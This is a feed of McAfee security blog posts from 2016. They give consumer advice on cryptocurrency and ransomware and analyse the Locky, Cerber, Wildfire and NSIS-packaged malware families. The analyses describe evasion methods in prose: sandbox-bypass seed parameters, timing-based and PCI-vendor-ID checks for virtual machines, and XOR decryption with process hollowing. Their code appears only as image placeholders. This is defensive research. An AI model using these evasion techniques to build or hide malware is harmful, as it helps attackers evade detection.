  7. Be careful which software you install and use. There are great supplemental tools, created by innovative users, but be wary and never use one that requires your password, login, or account keys or that asks you to disable your antimalware software.
  8. Keep your operating system and applications patched and updated. This closes known vulnerabilities, which are what most attackers target. Zero days are not as big of a problem for consumers as the media would have you think.
  9. Install client based antimalware software from a reputable company that continually updates it. This is a basic protection.
  10. Watch your accounts and immediately report suspicious activities.
  11. Maintain a strong password. By default, cryptocurrency systems can create good ones. Don’t change it to something simple. They are easy to attack via brute force. Always keep it strong. Change it immediately if you suspect a problem. Store it in a secure location, preferably encrypted, such as in a password vault.
  12. Don’t log in via insecure networks (coffee shops, free Wi-Fi hotspots, airports, hotels, etc.). Such networks are targets themselves for hackers. This enables them to conduct man-in-the-middle attacks to steal credentials or falsify transactions.

 

Cryptocurrencies with significant market value are a target for cybercriminals. As new uses are developed that include user interaction, platforms such as Ethereum, Steemit, and Synereo will become attractive targets for fraudsters, phishing, and social engineering attacks. To remain safe and trustworthy, the platforms must be designed with great features to enhance security. Users must be wary and follow good protective practices.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Cryptocurrencies a Target for Cybercriminals, Part 2: Social Platforms Come Next appeared first on McAfee Blogs.

]]>
Locky Ransomware Hides Inside Packed .DLL https://securingtomorrow.mcafee.com/mcafee-labs/locky-ransomware-hides-inside-packed-dll/ Fri, 16 Sep 2016 22:35:11 +0000 https://blogs.mcafee.com/?p=52360 McAfee Labs has seen a huge increase in Locky ransomware in recent months (discussed in an earlier blog). Locky is aggressively distributed via a JavaScript-based downloader sent as an attachment in spam emails. Since its first variant Locky has taken advantage of compromised domains to download its malicious executable. Recently it has downloaded a malicious dynamic link …

The post Locky Ransomware Hides Inside Packed .DLL appeared first on McAfee Blogs.

]]>
McAfee Labs has seen a huge increase in Locky ransomware in recent months (discussed in an earlier blog). Locky is aggressively distributed via a JavaScript-based downloader sent as an attachment in spam emails. Since its first variant Locky has taken advantage of compromised domains to download its malicious executable. Recently it has downloaded a malicious dynamic link library (DLL). By tracking these campaigns, we have noticed that Locky’s authors use a seed parameter (“323” in this variant) from its JavaScript downloader to execute the malicious DLL.

At first, the file looks like highly obfuscated JavaScript and is tough to understand. The script (hash: E833713599E6014DFD808DA08BD8A452) looks like this:

1

We tried to deobfuscate by modifying the original script a bit. After the deobfuscation, we finally obtained more visible code. For easier understanding we have arranged a major part of the script in this sequence:

2

In the first four lines of the script we can see the URLs of four compromised websites, from which the script tries to download the payload. The script will try the next URL if the previous download fails. If successful, it downloads the encoded payload, which at first looks like a junk file (hash: 5C5D55C1AEB06CA131EEF5BC19C3C1CD):

3

The decoded routine from the JavaScript decodes the junk file, resulting in a packed DLL. The characteristics of the decoded packed DLL:

4

The packed DLL has an export function “_WinMainExp@16.”

5

While unpacking the DLL we came across following technique for obscuring virtual machines. In this technique the malware author checks the time difference between two API calls, GetProcessHeap () and CloseHandle (). At runtime it takes the address of CloseHandle () API by using LoadLibrary () and GetProcAddress (), as shown below:

11

In general, on a real system, CloseHandle () should be faster to execute than GetProcessHeap (). The author checks the time difference between these two APIs for validating the virtualization. The following code snippet explains:

12

13

We unpacked the malicious DLL, which shows the export function “qwerty.”

7

In line number 6 the ExpandEnvironmentStrings () method gets the %TEMP% location to store the downloaded DLL with a random name. The script also verifies the architecture of the machine from lines 11 to 18 by using an if-else statement:

8

According to the architecture of the machine, the script will run the DLL using Rundll32.exe. In line 22 we can see the process to run the DLL:

9

The malware author uses the seed parameter to bypass execution in a sandbox. If the DLL is executed with the proper export function name (“qwerty” for this variant) and the required parameter (hardcoded “323” for this variant), only then will the DLL behave maliciously. Thus the author is verifying the DLL is executed by the malicious parent JavaScript file. If parameters other than those expected are passed, then the DLL will do nothing malicious and traditional sandboxes will fail to execute the DLL.

We can see the hardcoded parameter “323” in the following snippet:

10

14

Intel Security advises users to keep their antimalware signatures up to date at all times. Intel Security products detect this malicious JavaScript, encoded payload, and packed DLL as JS/Nemucod, Ransomware-Locky.d!enc, and Ransomware-FRO![Partial Hash], respectively, with DAT Versions 8270 and later.

This post was prepared with the invaluable assistance of Girish Kulkarni and G N Sivagnanam.

 

 

 

 

The post Locky Ransomware Hides Inside Packed .DLL appeared first on McAfee Blogs.

]]>
Cryptocurrencies a Target for Cybercriminals, Part 1: the Risks of Innovation https://securingtomorrow.mcafee.com/mcafee-labs/cryptocurrencies-a-target-for-cybercriminals-part-1-the-risks-of-innovation/ Wed, 14 Sep 2016 23:45:20 +0000 https://blogs.mcafee.com/?p=52513 All cryptocurrencies are a target for cybercriminals. Anywhere there is value, criminals, fraudsters, and charlatans will soon follow. Call it the Willie Sutton principle. Sutton, a famous bank robber in the 1920s–30s, was asked why he robbed banks. His reply was “Because that’s where the money is.” The simplicity rings true. That same age-old principle …

The post Cryptocurrencies a Target for Cybercriminals, Part 1: the Risks of Innovation appeared first on McAfee Blogs.

]]>
cryptocurrency-hacker

All cryptocurrencies are a target for cybercriminals. Anywhere there is value, criminals, fraudsters, and charlatans will soon follow. Call it the Willie Sutton principle. Sutton, a famous bank robber in the 1920s–30s, was asked why he robbed banks. His reply was “Because that’s where the money is.” The simplicity rings true. That same age-old principle still applies today in the digital world.

Cryptocurrencies have been targeted since the early days of Bitcoin. Popularity fuels growth and increased valuation. Since the introduction of Bitcoin, hundreds of cryptocurrencies have emerged. According to coinmarketcap.com, the total market cap of cryptocurrencies exceeds $11 billion, with Bitcoin holding a majority stake of about $9 billion dollars. This amount of money is a strong lure for all kinds of malicious activity.

Attacks on cryptocurrency

Although cryptocurrency architecture is designed to be secure, it is not infallible. Once stolen, digital funds can be electronically laundered, obscured from authorities, and disappear into the electronic ecosystem with their new owners.

There have been many hacks and frauds during the past few years targeting cryptocurrencies, causing significant losses. Mt. Gox lost a staggering $350 million in 2014, Bitcoinica lost $28 million in 2012, and in 2016 a string of incidents has already occurred, starting with Cryptsy losing $10 million, the DAO $50 million, and Bitfinex $65 million.

Most of the big attacks have focused on the technical aspects of account control and the ability to transfer funds without the owner’s consent. Some of the attacks were perpetrated by external threats, while others were inside jobs by trusted personnel.

Many people unfamiliar with cryptocurrencies ask “Why don’t governments put a stop to this?” These systems are new, and even basic legal structures have not caught up. Separation from government oversight is largely viewed as a good thing by the community, but there are drawbacks. Cryptocurrencies suffer from a lack of regulation to establish consistent controls, legal responsibility, and accepted business practices. In the corporate world, laws and regulations establish clear boundaries to define legal responsibility, forbid situations in which conflicts of interest may arise, and establish accountability to support informed decisions by investors. Most of the cryptocurrency enterprises operate only on a level of trust in the proprietors or the code. Sadly, technology is fallible to exploitation, users can be rash, gullible, and manipulated by attackers, and many times owners of the systems are the very culprits behind the losses. The right balance has yet to be struck. Until then, criminals have the opportunity to run rampant, with much less risk compared with highly regulated monetary services.

cryptocurrency-hacker2

Threats targeting cryptocurrencies

Most cryptocurrencies are used for decentralized asset exchange. That is just a fancy way of saying they act as a form of money. One that is purely digital, can easily cross borders, be concealed, and transferred seamlessly between parties. Bitcoin and many like it are largely anonymous. The transactions are public, contained in the open blockchain ledger, but in most cases the sender and receiver cannot be easily identified.

Attacks tend to target the control of assets via transactions. The security of these systems is based upon private keys, which are an identity verification system. If an attacker compromises a victim’s private key, he or she can control the funds of the account without recourse from the victim. Many attacks gain access to accounts or tamper with transactions to siphon off assets from the victim’s to the attacker’s accounts.

Cryptocurrencies are also widely used in criminal activities. Ransomware extortions are largely paid in Bitcoin, as the attackers demand. Due to the nature of these transactions, once money is transferred, it cannot be recovered. The tracking of money to people is near impossible due to the anonymity of these systems.

cryptocurrency-ethereumCryptocurrencies and blockchains are used for more than just money. Technologists and entrepreneurs are creating innovative foundational structures for use in digital services. The decentralized nature can make the capability extremely robust. The open transparency of the transactions builds trust in the system and, coupled with a monetary element, such services can play a powerful role in business, communication, and nontransmutable record keeping. These are powerful tools, but they also present new opportunities for theft, fraud, and misuse.

Ethereum is a currency and public blockchain that features “smart contract” technology which runs programs across the widely distributed user base without central control. Basically, code is created and then run by the users, with no administrative oversight. People trust the code. All operations and transactions are transparent. As long as actions do not violate the code, they are allowed and thus correct. But there have been problems. After all, the people come up with the rules that the code enforces.

Recently the DAO—an Ethereum Decentralized Autonomous Organization investment fund that allows contributors to vote on which companies to back—got into trouble. Money was transferred from many accounts into an “attacker’s” account. But this was done based upon the functions allowed by the code. Many screamed theft, but others simply stated the rules were followed and thus the transfers must stand. It remains a mess, but $50 million was siphoned from users, against their desires.

Stay tuned for Part 2, a discussion of the risks of cryptocurrencies merging with social media platforms and how attackers could gain new advantages.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Cryptocurrencies a Target for Cybercriminals, Part 1: the Risks of Innovation appeared first on McAfee Blogs.

]]>
The Quarterly Threats Report: What Does It Mean for You? https://securingtomorrow.mcafee.com/consumer/quarterly-threats-report-mean/ Wed, 14 Sep 2016 16:00:51 +0000 https://blogs.mcafee.com/?p=52584 The latest edition of the Quarterly Threats Report (QTR) was released this week by McAfee Labs.  If you’re not familiar with them, McAfee Labs is our research organization tasked with researching all the latest threats that people are seeing out there in the wild as well as looking as trends that help indicate what the …

The post The Quarterly Threats Report: What Does It Mean for You? appeared first on McAfee Blogs.

]]>
The latest edition of the Quarterly Threats Report (QTR) was released this week by McAfee Labs.  If you’re not familiar with them, McAfee Labs is our research organization tasked with researching all the latest threats that people are seeing out there in the wild as well as looking as trends that help indicate what the bad guys are going to target next.  The QTR is written to address questions faced by large organizations, but there is also a lot of great data in there for everyone else.  I’ve gone through our data to find the key things that everyone should be aware of, even if you aren’t in computer security.

Because that’s where the money is…

One of the major topics of the QTR was looking at the who, why and what around data theft.  Who are the big targets?  What is the motivation for the breach? It shouldn’t be surprising to discover that 89% of data breaches involve either financial gain or espionage.  Crooks and spies!  It may seem obvious, but it’s a number that has been steadily increasing over the past few years.  Historically data breaches have been motivated by curiosity, hacktivism, revenge, you name it.  Now we’re definitely seeing money being the primary motive behind these attacks.

What’s very interesting is that now 53% of the breaches are discovered by someone other than the hacked company.  This means your bank/credit card/insurance provider could have been hacked and not know it, leaving the cybercriminals to have free access to your valuable data without you knowing about it.  They’re also under almost constant attack.

Looking at our data, we found that retail and financial services companies are seeing an average of 20% more attacks than similar sized organizations in government, healthcare and manufacturing.  Why?  This ties back to the motivation.  The amount of personal and financial data kept by these sort of businesses make them tempting targets for cybercriminals.

Ransomware in the ER

Ransomware is my #1 most hated malware.  It started out attacking individuals but then has moved to small and medium size businesses, but has been making a move towards attacking 2016-09-13_9-42-52healthcare.  Why healthcare?  By locking people out of the infected systems, it directly impacts healthcare’s need to have no disruption of a patient’s care.  Unfortunately, a lot of medical equipment runs on old operating systems that can’t be updated with the latest security patches, making them much easier to infect.  Combine these two factors with any organization’s desire to stay out of the news and you now have a situation that pushes healthcare providers to quickly pay ransomware to get back on their feet as fast as possible.  During the first quarter of this year, a group of targeted attacks on hospitals generated about $100,000 in ransom payments.

More malware

The last three months have seen the highest amount of new malware targeting smartphones and tablets (mobile malware), and the second highest amount of “traditional” malware.  Over the past year, the number of mobile malware samples grew 151%!  Cybercriminals are definitely paying closer attention to your smartphone.  We did see less malware targeting Macs than the last quarter, but the total number of Mac malware is still more than 500% larger than it was a year ago.  Still think Macs don’t get viruses?  As you would expect, ransomware continues to grow at an accelerated pace with a 128% growth over this time last year.

One interesting standout was a dramatic uptick in macro viruses.  Macro viruses were all the rage in the 1990’s (the Melissa virus was a prime example), but Microsoft took a lot of steps to prevent these from working and malware writers moved on.  However, they saw a bit of a resurgence in the last quarter due to use in a number of spam campaigns.  As a result, there was a 200% increase in macro viruses in the 2nd quarter alone.

So what can we do?

Credit monitoring – Given the increase in attacks against financial and healthcare institutions, using a credit monitoring service will go a long way in making sure your personal information isn’t used for identity theft.  There are many great options to choose from.  There are free services that will alert you when a change is made to your credit report as well as paid services that will go the extra step to proactively reach out to you if something suspicious happens.  Many banks and credit card companies also offer free credit monitoring, so check with your provider.

Back up – If you get infected with ransomware, you typically have the option to either pay the ransom or restore your files from a backup.  In some cases, there are fixes for specific ransomware families.  You can check out No More Ransom to see if there’s a fix for the particular ransom you’ve been infected with, but if not, restoring your files from backup is the best way to go.  Many forms of ransomware will infect files on connected devices, so I recommend you do a scheduled backup to a portable hard drive and then disconnect it when not backing up.  You can also use one of many available options for online backup.  Do a bit of research and find out what works for your price range, but I recommend staying with a well-established company you are sure will be around for a while.

Update – One of the best ways to prevent malware is to update your operating system and applications.  Malware takes advantage of software bugs in order to spread.  When you keep your system up to date, you are preventing a large chunk of malware from being able to infect you.  This isn’t a 100% fix, however, that’s where security software comes in.

Use security software – Even with the most diligent attention to keeping your system up to date, it is extremely important to run security software on your devices.  As you can see from the report, many new pieces of malware are coming out every day and software vendors cannot release an immediate update for every new vulnerability that is found.  Running security software on your PC, Macs and mobile devices will help fill in the gaps and protect against those new and unknown threats.

As you can see in the report, the bad guys aren’t slowing down.  As we rely more heavily on our devices for so much of our everyday lives, it’s becoming increasingly important to make sure we keep our laptops and smartphones safe.

Stay on top of the latest consumer and mobile security threats by following me and @IntelSec_Home on Twitter, and “Like” us on Facebook.

Stay safe!

 

 

The post The Quarterly Threats Report: What Does It Mean for You? appeared first on McAfee Blogs.

]]>
Machine Learning, the Unsung Hero in the Latest ‘Threats Report’ https://securingtomorrow.mcafee.com/mcafee-labs/machine-learning-unsung-hero-mcafee-labs-september-threats-report/ Wed, 14 Sep 2016 04:00:32 +0000 https://blogs.mcafee.com/?p=52558 The story about ransomware in hospitals in our newly published McAfee Labs Threats Report: September 2016 will probably garner most of the media’s attention, but I think the most interesting story in the report is about machine learning. Here’s why. Intel Security has used machine learning in our classification models since the mid-2000s. Initially, we …

The post Machine Learning, the Unsung Hero in the Latest ‘Threats Report’ appeared first on McAfee Blogs.

]]>
The story about ransomware in hospitals in our newly published McAfee Labs Threats Report: September 2016 will probably garner most of the media’s attention, but I think the most interesting story in the report is about machine learning. Here’s why.

Intel Security has used machine learning in our classification models since the mid-2000s. Initially, we employed it in our spam and sender-reputation mechanisms. Now it is used in many of our descriptive and diagnostic mechanisms, including file classification, mobile app classification, URL classification, URL content labeling, cloud security anomaly detection, network anomaly detection, threat intelligence feed validation, traffic pattern anomaly detection, and more.

Machine learning is increasingly being leveraged in the security industry to automate advanced classification, scoping, and prioritization of security events—what we call Analytics 3.0—making it possible to perform both predictive analytics (“What will happen”) and prescriptive analytics (“This is what is recommended because that will happen”). There are many exciting things under development in McAfee Labs that will further leverage machine learning in these areas.

I encourage you to read this story, as it explains the differences among machine learning, cognitive computing, and neural networks. It also details the pros and cons of machine learning, debunks myths, and explains how machine learning can be used to improve threat detection.

 

Of course, many readers of the Threat Report are quite interested in the scourge of ransomware and how to stop it, so that headline-grabbing story is well worth a read. Here’s what we discovered:

  • During the past year, we have seen a shift in targets from individuals to businesses because the latter will pay higher ransoms.
  • Recently, hospitals have become very popular targets of ransomware authors. We found that at least 19 hospitals were infected with ransomware in Q1 and Q2.
  • We also discovered that a related group of Q1 targeted attacks on hospitals generated about $100,000 in ransom payments. The attacks relatively unsophisticated but successful.
  • We tracked these Q1 hospital ransom payments to a broader cybercrime operation taking $121 million over the course of six months.

To learn more about how to protect against ransomware in health care organization, read our Solution Brief Protect health care systems against ransomware. More information about ransomware and ways to protect against it can be found here.

 

Also in the September threat report is a story about data loss, based on extensive primary research by Intel Security. We wanted to gain a deeper understanding of the people behind these leaks, the types of data lost, and the ways it is getting outside of organizations. We interviewed 1,000 security practitioners globally, spanning small to large companies in five industries. Among other things, we found:

  • The gap between data loss and breach discovery is getting larger.
  • Health care providers and manufacturers are sitting ducks.
  • The typical data loss prevention approach is increasingly ineffective against new theft targets.
  • Most businesses don’t watch the second most common method of data loss.
  • Visibility is vital.
  • Data loss prevention is implemented for the right reasons.

To learn more about how to protect against data loss, read our Solution Brief Prevent data from leaking out of your organization.

 

Finally, we highlight significant threat activity and statistics.

  • The 1.3 million new ransomware samples in Q2 2016 was the highest figure ever recorded since McAfee Labs began tracking this type of threat. Total ransomware has increased 128% in the past year.
  • Mobile malware. The nearly two million new mobile malware samples was the highest amount ever recorded by McAfee Labs. Total mobile malware has grown 151% in the past year.
  • Macro malware. New downloader Trojans such as Necurs and Dridex delivering Locky ransomware drove a more than 200% increase in new macro malware in Q2.
  • Mac OS malware. The diminished activity from the OSX.Trojan.Gen adware family dropped new Mac OS malware detections by 70% in the second quarter.
  • Botnet activity. Wapomi, which delivers worms and downloaders, increased by 8% in Q2. Last quarter’s number two, Muieblackcat, which opens the door to exploits, fell by 11%.

For more information on these key topics, or more threat landscape statistics for Q2 2016, click here.

 

The post Machine Learning, the Unsung Hero in the Latest ‘Threats Report’ appeared first on McAfee Blogs.

]]>
Malware Hides in Installer to Avoid Detection https://securingtomorrow.mcafee.com/mcafee-labs/malware-hides-in-installer-to-avoid-detection/ Thu, 25 Aug 2016 23:34:01 +0000 https://blogs.mcafee.com/?p=52182 At McAfee Labs we recently observed various threat families using the Nullsoft Scriptable Install System (NSIS). This practice is not new, but our analysis shows that several malware families are employing the same technique to hide their packed executable code. Usually every malware family uses its own polymorphic packers to obfuscate its payload. In this …

The post Malware Hides in Installer to Avoid Detection appeared first on McAfee Blogs.

]]>
At McAfee Labs we recently observed various threat families using the Nullsoft Scriptable Install System (NSIS). This practice is not new, but our analysis shows that several malware families are employing the same technique to hide their packed executable code. Usually every malware family uses its own polymorphic packers to obfuscate its payload. In this case four families have the same executable format to hide the malicious code.

The malicious NSIS package contains a DLL (acting as a decryptor and injector) and an encrypted executable payload. Once onboard an infected machine, the NSIS package drops a DLL and two data files and loads the DLL. The DLL decrypts the two data files and executes the final payload using process hollowing, a technique used by malware in which the original code is replaced with malicious code. If we were to analyze the DLL alone, we would not conclude that it was malicious because it relies on encrypted data in the two data files.

We found four malware families using this technique:

  • Cerber
  • Gamarue
  • Kovter
  • ZCrypt

Evading security products

Because the malicious payload and APIs are in encrypted and do not fall under any specific file formats, antimalware scanners will usually omit scanning these files. They also act as efficient hash busters and easily bypass emulation techniques. When these files are copied into other directories, the malware keep the NSIS file format to strengthen their defense. We also noticed that the decryption logic varies slightly among the malware.

Propagation

The malware are distributed via spam campaigns:

Capture

A ZIP archive contains the executable:

Capture12

NSIS file identification

The start of the overlay+8 offset contains the “NullsoftInst” string:

Capture113

Malicious NSIS package

The sample we analyzed has the following components inside the NSIS package.

  • e: Data file contains encrypted APIs used for process hollowing.
  • fsv: Data file contains the final encrypted payload.
  • dll: Malicious DLL decrypts data files and executes the process hollowing.

The encrypted data file geanticline.e:

Capture1123

The decrypted geanticline.e:

Capture16

The encrypted payload (tache.fsv):

Capture17

The decrypted payload:

Capture12N

Decryption code for process hollowing APIs

Code in OpenCandy.dll decrypts both data files. The following code accesses the files:

Capture4

The decryption key that unlocks the data file lies in the data filename itself. The decryption logic appears in the following screen:

Capture1N

An XOR operation decrypts the data file.

Decryption code for payload

We found the decryption key resides inside the DLL and varies among the malware families.

Decryption key location:

Capture2N

Decryption code:

Capture3N

Decryption logic for process hollowing

We employed python to write the decryption logic used by the malware. The encrypted data file path should be passed as an argument.

For each malware family, the value of MAXKEYINDEX can be changed or be equal to KEYLEN.

Python1

Decryption logic for payload

python2

 

MD5 hash: 5AF3BED65AEF6F0113F96FD3E8B67F7A

I would like to thank my colleagues Sivagnanam G N and Manjunatha Shankaranarayana for their help with this analysis.

The post Malware Hides in Installer to Avoid Detection appeared first on McAfee Blogs.

]]>
Improve Protection Against Cyberattacks Through Shared Threat Intelligence https://securingtomorrow.mcafee.com/mcafee-labs/improve-protection-cyberattacks-shared-threat-intelligence/ Thu, 25 Aug 2016 23:28:20 +0000 https://blogs.mcafee.com/?p=52333 At the RSA Conference 2016 in San Francisco, Chris Young, GM and SVP of Intel Security, said that one of the best ways to improve response time to attacks and overall awareness of attacks and adversaries is through the timely sharing of threat intelligence. He also talked about Intel Security’s responsibility as a leading security …

The post Improve Protection Against Cyberattacks Through Shared Threat Intelligence appeared first on McAfee Blogs.

]]>
At the RSA Conference 2016 in San Francisco, Chris Young, GM and SVP of Intel Security, said that one of the best ways to improve response time to attacks and overall awareness of attacks and adversaries is through the timely sharing of threat intelligence. He also talked about Intel Security’s responsibility as a leading security vendor to set an example for the industry by pushing the boundaries of threat intelligence sharing.

We believe that by sharing threat intelligence, we can shift the balance of power away from the adversaries and back to us, the defenders. By crowdsourcing threat data and leveraging collaborative analytics, we can “connect the dots” to form better pictures of the attacks and adversaries that surround our customers. Collectively, we can deliver better protection.

Leading by example, Intel Security partnered with other leading cybersecurity solution providers in 2014 to form the Cyber Threat Alliance (CTA). CTA members share threat information, raising our situational awareness about advanced threats, including the motivations, tactics, and the actors behind them. Once shared, CTA members can automatically deploy prevention controls to stop the identified threats. Based on collaborative research, we also published a joint threat research report late last year around our collective analysis of the CryptoWall Version 3 campaign.

Intel Security is also helping drive the development of voluntary standards for those who wish to establish threat intelligence sharing organizations. We lead several committees within the Information Sharing and Analysis Organization (ISAO) Standards Organization, established through a US Presidential order in 2015. The ISAO SO’s objective is to encourage threat information sharing within the private sector and between the private sector and government.

To gain a better understanding of threat intelligence sharing and Intel Security’s leadership in driving its development, we recently created a web page that educates and shows how we use threat intelligence sharing to better protect our customers. You can visit the page here.

The post Improve Protection Against Cyberattacks Through Shared Threat Intelligence appeared first on McAfee Blogs.

]]>
‘Wildfire’ Ransomware Extinguished by Tool From NoMoreRansom; Unlock Files for Free https://securingtomorrow.mcafee.com/mcafee-labs/wildfire-ransomware-extinguished-tool-nomoreransom-unlock-files-free/ Tue, 23 Aug 2016 18:30:41 +0000 https://blogs.mcafee.com/?p=52251 Intel Security and Kaspersky Lab, partners in the project NoMoreRansom, are pleased to announce today the availability of a decryption tool for victims of the Wildfire variant of ransomware. This tool is available following successful collaboration with the Dutch police and the European Cybercrime Centre. This strong public-private partnership has led to the seizure of …

The post ‘Wildfire’ Ransomware Extinguished by Tool From NoMoreRansom; Unlock Files for Free appeared first on McAfee Blogs.

]]>
Intel Security and Kaspersky Lab, partners in the project NoMoreRansom, are pleased to announce today the availability of a decryption tool for victims of the Wildfire variant of ransomware. This tool is available following successful collaboration with the Dutch police and the European Cybercrime Centre. This strong public-private partnership has led to the seizure of criminal infrastructure and has resulted in the availability of the decryption tool.

Victims of this variant of ransomware know if they have been infected with Wildfire because they will see the following message:

20160823 Wildfire 1

Ransomware notice.

Most of the victims of Wildfire are in the Netherlands and Belgium. Although this message requests a ransom of 1.5 Btc, reality is that most victims paid between 0.5 and 0.6 Btc. Apparently, the actors accepted in some cases a negotiation.

Wildfire has spread primarily through Dutch spam emails from transport companies, targeted at Dutch speakers. The victims were misled with a notice of a “missed” delivery and instructions for scheduling a new delivery by filling in a “special form” attached with the mail. This form was in fact an obfuscated dropper that infects the victims with the ransomware. The following screenshot is typical of the many spam mails:

20160823 Wildfire 2

Spam email aimed at Dutch speakers.

The domain transportbedrijfpeters.nl, used in the preceding mail, was first seen on May 17 by a P.O. Box company in the United Arab Emirates. May 18 was the date of the spam mail. There is nothing illegal about this, but it raises a lot of suspicion.

The domains used in all the Wildfire spam mails that we researched were registered between the end of May and August this year, the height of the Wildfire campaign. Another remarkable thing about the spam mails is that they contain addresses of real businesses in the Netherlands.

The actors behind Wildfire have clearly put a lot of effort into making their spam mails look credible and very specific. Because of these elements, we would not be surprised if there is a Dutch-speaking group involved.

Once victims are infected, they see the ransom note, as shown above. To make the payment, the victim has to connect to a .RU or .SU domain. These domains act as a proxy to connect the victim to the control server, which was hosted on the Dark web. We believe that the actors did this to avoid the detection of search bots and having the site appear in popular search engines, and to be as stealthy as possible when accessing their services.

Thanks to our public-private partnership we were able to take a look at Wildfire’s control server panel. The main panel has the following campaign details:

20160823 Wildfire 3

Wildfire campaign overview.

We see from this overview that in the last 31 days the campaign has infected 5,309 systems and earned total revenue of about BTC136 (€70,332). Not a bad “paycheck” for a month.

When we look at the “clients” page, we see details of the amount of encrypted files, their BTC address, files encrypted, and country:

ID UID Country BTCaddress BTCamount Filecount Paidstatus
1 a5***** BE 1J*************** 0.6 11673 0
2 aa***** NL 1F*************** 0.5 1469031280 0
3 fd***** BE 1H*************** 0.6 68595 0
4 08***** NL ZC*************** 0.5 1469079732 0
5 05**** NL GH************** 0.5 1469605876 0

Overview of victims’ file data.

A table marked as RID with the value “aff_001” might indicate an affiliate program, in which “aff_001” could stand for “Affiliate_001.”

When we take a closer look at the source code of the control server, we see some indicators that make us believe Wildfire is an affiliate-based ransomware-as-a-service (RaaS). The index.php page of the server contains a comment in Russian:

20160823 Wildfire 4

Russian comments on the control server.

The Cyrillic text “исправить таймер” means “fix timer” and refers to the timer function of the ransomware. Another indicator in the config file of the source code is a list of exempted countries. Wildfire will not encrypt victims from certain countries.

20160823 Wildfire 5

Exempted countries in Eastern Europe.

This list is a strong indicator that we are dealing with an Eastern European group. This is not surprising; we have seen this behavior with many other ransomware variants, including CryptoWall.

We would not be surprised if Wildfire is indeed an example of RaaS. The malware shows a very close resemblance to the ransomware variant Zyklon. Another possible giveaway is the difference between the source code found on the control server and the very specific Dutch/Belgium infection vectors found in the spam mails. They are too far apart in language to come from the same actor group. It is worrisome to see large-scale extortion by ransomware made easily available to so many criminals.

Today, however, the victims of Wildfire no longer have to face the difficult choice of either paying criminals or sacrificing their data. The availability of this decryption tool allows victims to reclaim their data without having to pay anyone. The initial tool includes 1,600 keys for Wildfire and more will be added in the near future. The is another result of the NoMoreRansom public-private partnership.

The post ‘Wildfire’ Ransomware Extinguished by Tool From NoMoreRansom; Unlock Files for Free appeared first on McAfee Blogs.

]]>
Cerber Ransomware Updates Configuration File https://securingtomorrow.mcafee.com/mcafee-labs/cerber-ransomware-updates-configuration-file/ https://securingtomorrow.mcafee.com/mcafee-labs/cerber-ransomware-updates-configuration-file/#comments Tue, 16 Aug 2016 00:47:32 +0000 https://blogs.mcafee.com/?p=52010 McAfee Labs has recently analyzed Version 2 of Cerber, one of the leading ransomware programs. Cerber infects systems via social media tricks such as spam email with malicious links or documents, malvertising campaigns, exploits of vulnerable websites, and also takes advantages of exploit kits like Angler, Nuclear, and others. During our analysis of the new …

The post Cerber Ransomware Updates Configuration File appeared first on McAfee Blogs.

]]>
McAfee Labs has recently analyzed Version 2 of Cerber, one of the leading ransomware programs. Cerber infects systems via social media tricks such as spam email with malicious links or documents, malvertising campaigns, exploits of vulnerable websites, and also takes advantages of exploit kits like Angler, Nuclear, and others.

During our analysis of the new version, we found some new fields in the configuration file. In this post, we highlight the changes in the configuration files of Cerber Versions 1 and 2.
This snapshot shows a machine infected with Cerber 2.

20160815 Cerber 1

Machine infected with Cerber Version 2.

The extensions of encrypted files has changed from .cerber to .cerber2.

20160815 Cerber 220160815 Cerber 3

Partial lists of files infected with Cerber 1 and 2.

Why an update?
The ransomware author may have upgraded the malware because of the release of a decryption tool. The ransomware’s detection rate may have also increased; this version has a new packer (wrapper) to make it harder for security products and analysts to find and examine the malware.

Our analysis did not find many significant changes. This version likes to keep its component files (containing the public key and other data) on disk after the encryption process, whereas the previous version kept the component files only in the registry entries. Files and registry entries have the same content.

20160815 Cerber 4

Version 2’s component files in %appdata% and registry entries.

The location of the encrypted configuration file is updated from the resource section to the last section. We will discuss this further in a future post.

The configuration file
We observed some changes in the configuration files of the two versions. Most are related to encryption tags and antimalware products.

The first change that caught our eye is the addition of rc4_key_size in the encrypt tag. This value was previously calculated at runtime but now is included in the file. The author also updated the infected-files extension to .cerber2 and also modified the value of the rsa_key_size field. The following snippets show some of the changes.

20160815 Cerber 520160815 Cerber 6

Version 1 (left) and Version 2 encryption tags.

Version 2 includes a blacklist to fight against the security products. The av_blacklist tag in the configuration file contains a list of several vendors’ names.

20160815 Cerber 7

Version 2’s av_blacklist tag.

The new av_blacklist tag is reflected in the check tag as a flag in the configuration file.

20160815 Cerber 8

Check tag in Version 1.

20160815 Cerber 9

Check tag in Version 2.

Close_process list enhancements
Some applications use a locking mechanism to prevent other application from accessing or making changes in the files they access to maintain data integrity. Word for Windows does this, for example. To stop a locking mechanism from preventing the encryption of files, Cerber terminates such processes. The list of these processes is kept under the close_process list tag. In this version, Cerber enhances this list significantly, as shown below:

20160815 Cerber 10

The close_process tag in Version 1.

20160815 Cerber 11

The close_process tag in Version 2.

Wallpaper template
Version 2 adds a wallpaper tag, which is a template to create the desktop background on the victim’s machine. The variable fields—including TOR, SITE_N, and PC_ID—is updated at runtime.

20160815 Cerber 12

The wallpaper tag in Version 2.

Anti-VM techniques
Cerber is one of the most comprehensive malware in fighting virtual machines. Cerber detects popular VMs such as Parallel, QEMU, VMware, and VBox. One of the most interesting techniques (in both versions) is Cerber’s enumeration of the registry key “HKLM\\SYSTEM\\CurrentControlSet\\Enum\\PCI”:

20160815 Cerber 13
Accessing the registry: HKLM\\SYSTEM\\CurrentControlSet\\Enum\\PCI.

Each subkey of HKLM\\SYSTEM\\CurrentControlSet\\Enum\\PCI represents a PCI-bus connected device with the following format:

  • VEN_XXXX&DEV_XXXX&SUBSYS_XXXXXXXXX&REV_XX
    where VEN stands for Vendor ID in hexadecimal view and DEV stands for Device ID in hexadecimal view.

A table of virtual machines with known hardware vendor IDs:

Vendor Vendor ID
VMware 0x15AD
VBox 0x80EE
Parallel 0x1AB8

The following code snippet compares the subkey name with the VBox vendor ID.

20160815 Cerber 14
Checking the VBox vendor ID.

If Cerber finds any of the vendor IDs among registry key names, it stops and terminates itself.

Summary
Cerber is a popular form of ransomware. Given the changes we have observed in the configuration file, we also expect to see change in Cerber’s encryption techniques. We’ll discuss those soon in a further analysis.

Intel Security products detect Cerber under generic names such as Generic.* and BehavesLike.Win32.*.

The post Cerber Ransomware Updates Configuration File appeared first on McAfee Blogs.

